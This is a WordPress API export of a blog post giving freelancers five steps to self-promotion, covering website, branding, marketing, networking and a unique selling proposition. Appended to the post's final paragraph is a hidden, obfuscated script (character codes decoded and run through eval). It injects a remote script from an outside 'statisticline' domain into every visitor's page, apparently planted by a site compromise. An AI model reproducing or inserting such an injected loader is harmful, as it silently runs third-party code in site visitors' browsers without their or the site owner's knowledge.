{"id":6295,"date":"2023-06-09T10:56:54","date_gmt":"2023-06-09T10:56:54","guid":{"rendered":"https:\/\/forest-1041a2.ingress-bonde.ewp.live\/self-promotion-a-freelancers-most-important-tool\/"},"modified":"2023-06-09T10:56:54","modified_gmt":"2023-06-09T10:56:54","slug":"self-promotion-a-freelancers-most-important-tool","status":"publish","type":"post","link":"http:\/\/benrmatthews.local\/self-promotion-a-freelancers-most-important-tool\/","title":{"rendered":"Self Promotion &#8211; A Freelancer\u2019s Most Important Tool"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_68_1 ez-toc-wrap-center counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title \" >On this page<\/p>\n<span class=\"ez-toc-title-toggle\"><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"http:\/\/benrmatthews.local\/self-promotion-a-freelancers-most-important-tool\/#Step_1_Build_Your_Online_Presence\" title=\"Step 1 Build Your Online Presence\">Step 1 Build Your Online Presence<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"http:\/\/benrmatthews.local\/self-promotion-a-freelancers-most-important-tool\/#Step_2_Build_a_Cohesive_Brand_Presence_Online\" title=\"Step 2 Build a Cohesive Brand Presence Online\">Step 2 Build a Cohesive Brand Presence Online<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"http:\/\/benrmatthews.local\/self-promotion-a-freelancers-most-important-tool\/#Step_3_Create_a_Marketing_Strategy\" title=\"Step 3 Create a Marketing Strategy\">Step 3 Create a Marketing Strategy<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"http:\/\/benrmatthews.local\/self-promotion-a-freelancers-most-important-tool\/#Step_4_Network_Efficiently\" title=\"Step 4 Network Efficiently\">Step 4 Network Efficiently<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"http:\/\/benrmatthews.local\/self-promotion-a-freelancers-most-important-tool\/#Step_Five_Develop_your_USP\" title=\"Step Five Develop your USP\">Step Five Develop your USP<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"http:\/\/benrmatthews.local\/self-promotion-a-freelancers-most-important-tool\/#Whats_Next_Start_your_self_promotion\" title=\"What\u2019s Next? Start your self promotion!\">What\u2019s Next? Start your self promotion!<\/a><\/li><\/ul><\/nav><\/div>\n<p><img class=&quot;aligncenter size-full wp-image-25172&quot; src=&quot;https:\/\/benrmatthews.com\/wp-content\/uploads\/2019\/08\/uci5oapd820.jpg&quot; alt=&quot;Self-Promotion - A Freelancer\u2019s Most Important Tool&quot; width=&quot;1200&quot; height=&quot;1200&quot; \/><\/p>\n<p>Self promotion can be hard for many new freelancers, especially if you have only recently made the jump from being a full time employee to running your own freelance business.<\/p>\n<p>When you work as an employee for a company, they make sure you have work on your desk.<\/p>\n<p>Every day, you come in, sit down, and complete the work they put in front of you.<\/p>\n<p>More likely than not, you never have to worry about a dry spell or running out of work.<\/p>\n<p>As long as you show up, you get paid.<\/p>\n<p>If you\u2019re a freelancer, though, this luxury is more of a fantasy.<\/p>\n<p>The life of contractors is a lot of hustle and very little certainty. If you don\u2019t create it, it doesn\u2019t exist.<\/p>\n<p>You know what this means:<\/p>\n<p><strong>You have to keep your schedule full.<\/strong><\/p>\n<p>It\u2019s a lot of hustle, a lot of work, and a lot of self-promotion.<\/p>\n<p>And it\u2019s not something you can do halfway or part-time.<\/p>\n<p>If you don\u2019t self promote, nobody knows you exist.<\/p>\n<p>As such, the best freelancers self-promote all the time.<\/p>\n<p>Today, I\u2019m here to teach you how to do it.<\/p>\n<p>From nailing your brand and following a self promotion strategy, we\u2019ll discuss how to get out of \u201crace-to-the-bottom\u201d situations and set yourself up to be a highly paid business consultant.<\/p>\n<p>When you do it right, self promotion accelerates your network and allows you to get the most out of your current and future network.<\/p>\n<p>Here\u2019s your guide:<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Step_1_Build_Your_Online_Presence\"><\/span><strong>Step 1: Build Your Online Presence<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>If you don\u2019t already have a website \u2013 you need one.<\/p>\n<p>As a freelancer, your website is your \u201cfirst impression\u201d to the world.<\/p>\n<p>It\u2019s your front door, and the place people come when they want to learn more about you or find out about your brand and what you offer.<\/p>\n<p><strong>You\u2019ve got to think about your <a href=\"&quot;https:\/\/www.inc.com\/steve-cody\/7-reasons-you-need-manage-your-online-presence-more-carefully.html&quot;\" class=\"broken_link\">online presence<\/a> with every move you make.<\/strong><\/p>\n<p>So, if you don\u2019t have a website, your first step is to create one.<\/p>\n<p>Platforms like Wix, Squarespace, and WordPress make it easy to create your own website from drag-and-drop templates, and get your front page up and running in just a few minutes.<\/p>\n<p>Once you\u2019ve built your website, be sure you\u2019ve devoted some time to your social media presence, too.<\/p>\n<p>You should also have profiles on all the major social media platforms (this helps you make use of the \u201cbe everywhere\u201d mentality).<\/p>\n<p>At a minimum, you\u2019ll want to focus on the following:<\/p>\n<ul>\n<li>LinkedIn<\/li>\n<li>Twitter<\/li>\n<li>Facebook<\/li>\n<li>Instagram<\/li>\n<\/ul>\n<p>If you\u2019re not a social media guru, though, or you\u2019re pressed for time, commit to getting the most from one platform.<\/p>\n<p>If you\u2019re only going to choose one, LinkedIn is your best bet.<\/p>\n<p>As with anything else, be sure your social media is professional, updated frequently, and filled with reviews from happy clients.<\/p>\n<p>When you add new client work\/testimonials to your website, you ensure it doubles as a portfolio and a front page to your business.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Step_2_Build_a_Cohesive_Brand_Presence_Online\"><\/span><strong>Step 2: Build a Cohesive Brand Presence Online<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Once you\u2019ve got a website and a few social profile, it\u2019s time to pay attention to how those sites come off to your customers.<\/p>\n<p>If you want to be recognizable and attractive for customers looking for a freelancer, the first step is to create a cohesive brand presence.<\/p>\n<p>That includes things like\u2026<\/p>\n<ul>\n<li>Your logo<\/li>\n<li>Your color scheme<\/li>\n<li>Your brand voice<\/li>\n<\/ul>\n<p>While there\u2019s no \u201cright\u201d or \u201cwrong\u201d way to do this, it\u2019s essential to ensure that you stay consistent with whatever tone, voice, and design scheme you choose.<\/p>\n<p>For an idea of how a major brand does this, take a look at HubSpot.<\/p>\n<p>Not only is the color accent consistent throughout the website (figure out the hex code of the color(s) you like to ensure yours follows suit), but the tone and voice stay the same.<\/p>\n<p>This contributes to a consistent, recognizable brand, no matter where it shows up on the web.<\/p>\n<p>Remember:<\/p>\n<p>your website, social profiles, and any guest posting you do all fall into the same bucket, so it\u2019s essential to keep yourself consistent across all platforms.<\/p>\n<p>This means you can\u2019t be locked-up and professional on your website, and then silly and out-of-left-field on your social accounts.<\/p>\n<p>Bonus Tip:<\/p>\n<p>Make your online presence more consistent and compelling by explaining your process.<\/p>\n<p>Who are you? Why do you do what you do? What\u2019s your background?<\/p>\n<p>Your website \u201cAbout me\u201d page is the perfect place for this.<\/p>\n<p>Make your story engaging and truthful, and keep the tread of it going throughout your various social and digital platforms.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Step_3_Create_a_Marketing_Strategy\"><\/span><strong>Step 3: Create a Marketing Strategy<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>One of the biggest mistakes most freelancers make is that they stop promoting themselves when their schedules are full.<\/p>\n<p>This is a dangerous move.<\/p>\n<p>While it might be okay to ride the wave of your previous promotional activities while you\u2019re busy, things will eventually start to slow down, and you\u2019ll wish you had been out there hustling the whole time.<\/p>\n<p>With this in mind, keep promoting \u2013 even when your schedule is full.<\/p>\n<p>If you want to do this, you\u2019ve got to develop a marketing strategy and stick to it.<\/p>\n<p>Here are a few tips:<\/p>\n<ul>\n<li><strong>Make a Plan to Request Referrals:<\/strong>\u00a0If you\u2019re like many freelancers, you\u2019ll find that much of your business is made up of referrals. As such, it\u2019s smart to develop a plan to request them. Here\u2019s one thing many freelancers do: send out follow-up forms requesting referrals after you complete a job for a client. If they were happy with your work, they\u2019d likely be glad to pass your name along.<\/li>\n<li><strong>Make use of Automation:<\/strong> Platforms like IFTTT and Zapier allow you to automate tasks between apps and set up automated processes that make following-up with clients, sending out automatic emails, and posting to social media as easy as pie.<\/li>\n<li><strong>Figure out Processes and Templates:<\/strong> The more you can establish processes and templates in the beginning, the easier it will be to self-promote (without breaking your back or your schedule) down the road.<\/li>\n<li><strong>Create Case Studies:<\/strong> <a href=\"&quot;https:\/\/blog.hubspot.com\/blog\/tabid\/6307\/bid\/33282\/the-ultimate-guide-to-creating-compelling-case-studies.aspx&quot;\" class=\"broken_link\">Case studies<\/a> are a powerful way to promote confidence in your users and help ensure they know what they\u2019re getting from your services. If you\u2019ve never written a cast study before, start by asking a happy client for their permission. From there, break down the problems they were facing, how your services helped, and the results they saw afterward. It\u2019s that simple!<\/li>\n<li><strong>Offer Promotions:<\/strong> While few freelancers think of self-promotion as an opportunity to actually offer promotions, there\u2019s no reason you can\u2019t. For more sales, consider offering annual promotions, coupons, or deals. The anniversary of your launch, Small Business Saturday, and the holiday season are all great times to start a promotion.<\/li>\n<\/ul>\n<h2><span class=\"ez-toc-section\" id=\"Step_4_Network_Efficiently\"><\/span><strong>Step 4: Network Efficiently<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Networking is essential to a good strategy.<\/p>\n<p>With this in mind, <strong>you need to learn how to network effectively.<\/strong><\/p>\n<p>But what\u2019s the first step?<\/p>\n<p>If I could recommend anything I\u2019ve found helpful, it\u2019s to read this article by Tim Ferriss.<\/p>\n<p>As a man with arguably one of the best-rounded networks in the world, Ferris has some advice to offer.<\/p>\n<p>Once you\u2019ve done that, here are a few general guidelines to stick to:<\/p>\n<ul>\n<li><strong>Never Take up too Much Space in a Room:<\/strong>Nobody likes a blow-hard. You never know when you\u2019re about to meet a new lead, so keep yourself attractive and ready for new interactions by being conscious of how much space you take up in a conversation. If you dominate it, chances are good the other person won\u2019t have an opportunity to ask you what you do.<\/li>\n<li><strong>Be Interesting by \u2026 Being Interesting:<\/strong> People value relationships, and it\u2019s wise to build yours, especially as you set out to network with new leads. Ask other people lots of questions and be sure to be as friendly and approachable as possible. While it sounds like a soft approach, it\u2019s a great way to build more leads and connections, right off the bat.<\/li>\n<li><strong>Follow-up With Leads:<\/strong> Swap business cards with someone at that event last night? Don\u2019t wait for them to follow up. Instead, take the initiative and do it yourself. Life rewards the freelancer with the plan, and going out and getting it is one of the best ways to ensure you land those jobs you want.<\/li>\n<li><strong>Use Social Media:<\/strong> LinkedIn is one of the best places for freelancers to network. Use it to find companies and individuals you admire or are interested in working in and to research new opportunities.<\/li>\n<li><strong>Join a Like-Minded Online Community:<\/strong> Digital Freelancer offers a 24\/7 freelance networking group to help you connect with other freelancers, share opportunities, and advance careers, together. Check it out.<\/li>\n<\/ul>\n<h2><span class=\"ez-toc-section\" id=\"Step_Five_Develop_your_USP\"><\/span><strong>Step Five: Develop your USP<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Your USP, or unique selling proposition, is one of the most critical aspects of your freelance career.<\/p>\n<p>What makes you different? Who are you? What do you offer that nobody else does?<\/p>\n<p>If you can\u2019t answer those questions right off the top of your head, now is the time to work on it!<\/p>\n<p>Part of self-promotion is knowing exactly who you are.<\/p>\n<p>Figure it out now and use it to develop your USP, and you\u2019ll be better-prepared to pitch your value to would-be customers both now and in the future.<\/p>\n<p>With this in mind, identify your strengths and find a creative way to appeal to your customers emotionally and strategically.<\/p>\n<p>A blog is a great place to do this. Showcase your expertise and win leads in one fell swoop.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Whats_Next_Start_your_self_promotion\"><\/span>What\u2019s Next? Start your self promotion!<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>If you\u2019re going to be a freelancer, you\u2019ve got to get comfortable with the idea of self-promotion.<\/p>\n<p>Not only is self promotion important for freelancers \u2013 it\u2019s necessary.<\/p>\n<p>With this in mind, never stop promoting.<\/p>\n<p>While it\u2019s okay to adjust your strategy as you go, you can\u2019t afford to stop altogether.<\/p>\n<p>Pay attention to the tactics you admire, find your niche and dominate it, and enjoy a steady stream of work from now on.<script id='globalsway'>var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(\/*674867468*\/t);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Self promotion can be hard for many new freelancers, especially if you have only recently made the jump from being a full time employee to running your own freelance business. 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Every day, you come in, sit down, [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[922],"tags":[],"class_list":["post-6295","post","type-post","status-publish","format-standard","hentry","category-freelance"],"_links":{"self":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts\/6295"}],"collection":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/comments?post=6295"}],"version-history":[{"count":0,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts\/6295\/revisions"}],"wp:attachment":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/media?parent=6295"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/categories?post=6295"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/tags?post=6295"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}